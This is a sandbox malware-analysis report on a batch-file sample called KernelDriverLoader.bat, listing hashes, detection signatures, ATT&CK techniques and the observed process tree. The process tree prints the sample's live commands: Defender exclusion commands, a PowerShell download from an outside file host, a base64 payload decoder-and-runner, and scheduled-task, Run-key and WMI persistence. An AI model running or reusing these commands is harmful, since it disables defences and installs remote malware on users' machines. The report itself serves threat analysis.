96510f97d17f3dfb3fb870de79f48a8a2f0c97828f7bb68b4d7db3c9bc7764b1

Analysis

max time kernel
150s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/09/2026, 19:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
KernelDriverLoader.bat
Size 7KB
Sample260920-x9r1pscq21
SHA256 96510f97d17f3dfb3fb870de79f48a8a2f0c97828f7bb68b4d7db3c9bc7764b1
MD5 fda0a635a7e19a364bc4169413d65a55
SHA1 263b2fa382d4b2c8ba8e1e5fc6384fc3380aa467
SHA512 dc56b0bca3b8f83044f4f98ad9bbd0e31864d06cb69bedc0a1eb494694f0bde33d0c10f7be53f84a95c149d17e46cb3504b9c111058d1d19aed5583831082376
SSDEEP 192:Xr2HOF+F+2jqbWNJWzkxH7XxQvxfhJLisk5hw51o0MC5mu:X+OgFXmyVHeJfhJLTIi5W0MC5mu
TLSH
T15DE113061E988E27A25AC850ED870632FFCEB2E6819F116A51A5DB5CF0946CDC05FDC1
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence privilege_escalation upx

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	2244	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2856	powershell.exe
6040	powershell.exe
760	powershell.exe
5532	powershell.exe
1520	powershell.exe
2244	powershell.exe
1520	powershell.exe
2244	powershell.exe
916	powershell.exe
916	powershell.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\agent-1580989885.tmp	394d7b09-9eab-45dd-80a6-b2bebdb16546.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\agent-4232892807.tmp	Scvhost.exe

Executes dropped EXE 2 IoCs

pid	Process
4172	394d7b09-9eab-45dd-80a6-b2bebdb16546.exe
4472	Scvhost.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Software\Microsoft\Windows\CurrentVersion\Run\OverlordAgent-52dcaf5f = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\DeviceSync\\Scvhost.exe\""	394d7b09-9eab-45dd-80a6-b2bebdb16546.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Software\Microsoft\Windows\CurrentVersion\Run\OverlordAgent-52dcaf5f = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\DeviceSync\\Scvhost.exe\""	Scvhost.exe

UPX packed file 9 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000e00000001c4b6-117.dat	upx
behavioral2/memory/4172-126-0x00007FF6F4E90000-0x00007FF6F8EF9000-memory.dmp	upx
behavioral2/memory/4472-175-0x00007FF6D23D0000-0x00007FF6D6439000-memory.dmp	upx
behavioral2/memory/4172-176-0x00007FF6F4E90000-0x00007FF6F8EF9000-memory.dmp	upx
behavioral2/memory/4172-179-0x00007FF6F4E90000-0x00007FF6F8EF9000-memory.dmp	upx
behavioral2/memory/4172-180-0x00007FF6F4E90000-0x00007FF6F8EF9000-memory.dmp	upx
behavioral2/memory/4172-181-0x00007FF6F4E90000-0x00007FF6F8EF9000-memory.dmp	upx
behavioral2/memory/4172-182-0x00007FF6F4E90000-0x00007FF6F8EF9000-memory.dmp	upx
behavioral2/memory/4172-183-0x00007FF6F4E90000-0x00007FF6F8EF9000-memory.dmp	upx

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1652	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	394d7b09-9eab-45dd-80a6-b2bebdb16546.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	394d7b09-9eab-45dd-80a6-b2bebdb16546.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1262770251-41185387-1005173349-1000\{8FAEAE59-09BC-4B21-A766-9542447D124B}	394d7b09-9eab-45dd-80a6-b2bebdb16546.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1520	powershell.exe
1520	powershell.exe
2244	powershell.exe
2244	powershell.exe
2244	powershell.exe
2856	powershell.exe
2856	powershell.exe
2856	powershell.exe
916	powershell.exe
916	powershell.exe
6040	powershell.exe
6040	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
5532	powershell.exe
5532	powershell.exe
5532	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1520	powershell.exe
Token: SeIncreaseQuotaPrivilege	1520	powershell.exe
Token: SeSecurityPrivilege	1520	powershell.exe
Token: SeTakeOwnershipPrivilege	1520	powershell.exe
Token: SeLoadDriverPrivilege	1520	powershell.exe
Token: SeSystemProfilePrivilege	1520	powershell.exe
Token: SeSystemtimePrivilege	1520	powershell.exe
Token: SeProfSingleProcessPrivilege	1520	powershell.exe
Token: SeIncBasePriorityPrivilege	1520	powershell.exe
Token: SeCreatePagefilePrivilege	1520	powershell.exe
Token: SeBackupPrivilege	1520	powershell.exe
Token: SeRestorePrivilege	1520	powershell.exe
Token: SeShutdownPrivilege	1520	powershell.exe
Token: SeDebugPrivilege	1520	powershell.exe
Token: SeSystemEnvironmentPrivilege	1520	powershell.exe
Token: SeRemoteShutdownPrivilege	1520	powershell.exe
Token: SeUndockPrivilege	1520	powershell.exe
Token: SeManageVolumePrivilege	1520	powershell.exe
Token: 33	1520	powershell.exe
Token: 34	1520	powershell.exe
Token: 35	1520	powershell.exe
Token: 36	1520	powershell.exe
Token: SeIncreaseQuotaPrivilege	1520	powershell.exe
Token: SeSecurityPrivilege	1520	powershell.exe
Token: SeTakeOwnershipPrivilege	1520	powershell.exe
Token: SeLoadDriverPrivilege	1520	powershell.exe
Token: SeSystemProfilePrivilege	1520	powershell.exe
Token: SeSystemtimePrivilege	1520	powershell.exe
Token: SeProfSingleProcessPrivilege	1520	powershell.exe
Token: SeIncBasePriorityPrivilege	1520	powershell.exe
Token: SeCreatePagefilePrivilege	1520	powershell.exe
Token: SeBackupPrivilege	1520	powershell.exe
Token: SeRestorePrivilege	1520	powershell.exe
Token: SeShutdownPrivilege	1520	powershell.exe
Token: SeDebugPrivilege	1520	powershell.exe
Token: SeSystemEnvironmentPrivilege	1520	powershell.exe
Token: SeRemoteShutdownPrivilege	1520	powershell.exe
Token: SeUndockPrivilege	1520	powershell.exe
Token: SeManageVolumePrivilege	1520	powershell.exe
Token: 33	1520	powershell.exe
Token: 34	1520	powershell.exe
Token: 35	1520	powershell.exe
Token: 36	1520	powershell.exe
Token: SeIncreaseQuotaPrivilege	1520	powershell.exe
Token: SeSecurityPrivilege	1520	powershell.exe
Token: SeTakeOwnershipPrivilege	1520	powershell.exe
Token: SeLoadDriverPrivilege	1520	powershell.exe
Token: SeSystemProfilePrivilege	1520	powershell.exe
Token: SeSystemtimePrivilege	1520	powershell.exe
Token: SeProfSingleProcessPrivilege	1520	powershell.exe
Token: SeIncBasePriorityPrivilege	1520	powershell.exe
Token: SeCreatePagefilePrivilege	1520	powershell.exe
Token: SeBackupPrivilege	1520	powershell.exe
Token: SeRestorePrivilege	1520	powershell.exe
Token: SeShutdownPrivilege	1520	powershell.exe
Token: SeDebugPrivilege	1520	powershell.exe
Token: SeSystemEnvironmentPrivilege	1520	powershell.exe
Token: SeRemoteShutdownPrivilege	1520	powershell.exe
Token: SeUndockPrivilege	1520	powershell.exe
Token: SeManageVolumePrivilege	1520	powershell.exe
Token: 33	1520	powershell.exe
Token: 34	1520	powershell.exe
Token: 35	1520	powershell.exe
Token: 36	1520	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1652 wrote to memory of 780	1652	cmd.exe	91
PID 1652 wrote to memory of 1520	1652	cmd.exe	92
PID 1652 wrote to memory of 2244	1652	cmd.exe	94
PID 2244 wrote to memory of 2856	2244	powershell.exe	95
PID 1652 wrote to memory of 916	1652	cmd.exe	97
PID 916 wrote to memory of 4172	916	powershell.exe	98
PID 4172 wrote to memory of 6040	4172	394d7b09-9eab-45dd-80a6-b2bebdb16546.exe	99
PID 4472 wrote to memory of 760	4472	Scvhost.exe	104
PID 4472 wrote to memory of 5532	4472	Scvhost.exe	106

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\KernelDriverLoader.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1652
- C:\Windows\system32\fltMC.exe
  fLtMc
  2⤵
  PID:780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\pOwErShElL.ExE" -NoProfile -WindowStyle Hidden -Command "aDd-MpPrEfeReNcE -ExClUsIoNpAtH 'C:\Users\Public\Documents\WindowsCache'; aDd-MpPrEfeReNcE -ExClUsIoNpRoCeSs 'pOwErShElL.ExE'; aDd-MpPrEfeReNcE -ExClUsIoNpRoCeSs 'cMd.ExE'; aDd-MpPrEfeReNcE -ExClUsIoNpRoCeSs 'wScRiPt.ExE'; aDd-MpPrEfeReNcE -ExClUsIoNeXtEnSiOn '.BaT'; aDd-MpPrEfeReNcE -ExClUsIoNeXtEnSiOn '.CmD'; aDd-MpPrEfeReNcE -ExClUsIoNeXtEnSiOn '.ExE'; aDd-MpPrEfeReNcE -ExClUsIoNeXtEnSiOn '.Ps1'; aDd-MpPrEfeReNcE -ExClUsIoNeXtEnSiOn '.SyS'; aDd-MpPrEfeReNcE -ExClUsIoNeXtEnSiOn '.DlL'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\pOwErShElL.ExE" /c powershell -NoProfile -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'https://file.garden/aq8jkB_uhFstvyCo/KernalDriverLoaderSYSinstall.bat' -OutFile 'C:\Users\Public\Documents\WindowsCache\svc.bat' -UseBasicParsing -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36'"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2244
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command Continue=SilentlyContinue
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$f=$env:_OVD_SELF;$l=[IO.File]::ReadAllLines($f);$i=0;for($j=0;$j-lt$l.Count;$j++){if($l[$j] -ceq ':OVD_BA7F83A1AEB1437A'){$i=$j+1;break}};$b=[Convert]::FromBase64String(($l[$i..($l.Count-1)]-join''));$t=[IO.Path]::Combine([IO.Path]::GetTempPath(),[Guid]::NewGuid().ToString()+'.exe');[IO.File]::WriteAllBytes($t,$b);Start-Process $t;exit"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:916
- - C:\Users\Admin\AppData\Local\Temp\394d7b09-9eab-45dd-80a6-b2bebdb16546.exe
    "C:\Users\Admin\AppData\Local\Temp\394d7b09-9eab-45dd-80a6-b2bebdb16546.exe"
    3⤵
    - Creates a file in the Startup directory
    - Executes dropped EXE
    - Adds Run key to start application
    - Checks processor information in registry
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:4172
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\Scvhost.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'Scvhost_adc3ad25' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:6040

C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\Scvhost.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\Scvhost.exe"
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4472
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\Scvhost.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'Scvhost_adc3ad25' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'Scvhost_fadc3ad25'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'Scvhost_cadc3ad25'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\Scvhost.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='Scvhost_fadc3ad25'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='Scvhost_cadc3ad25'\"; $null = $b.Put()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5532

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...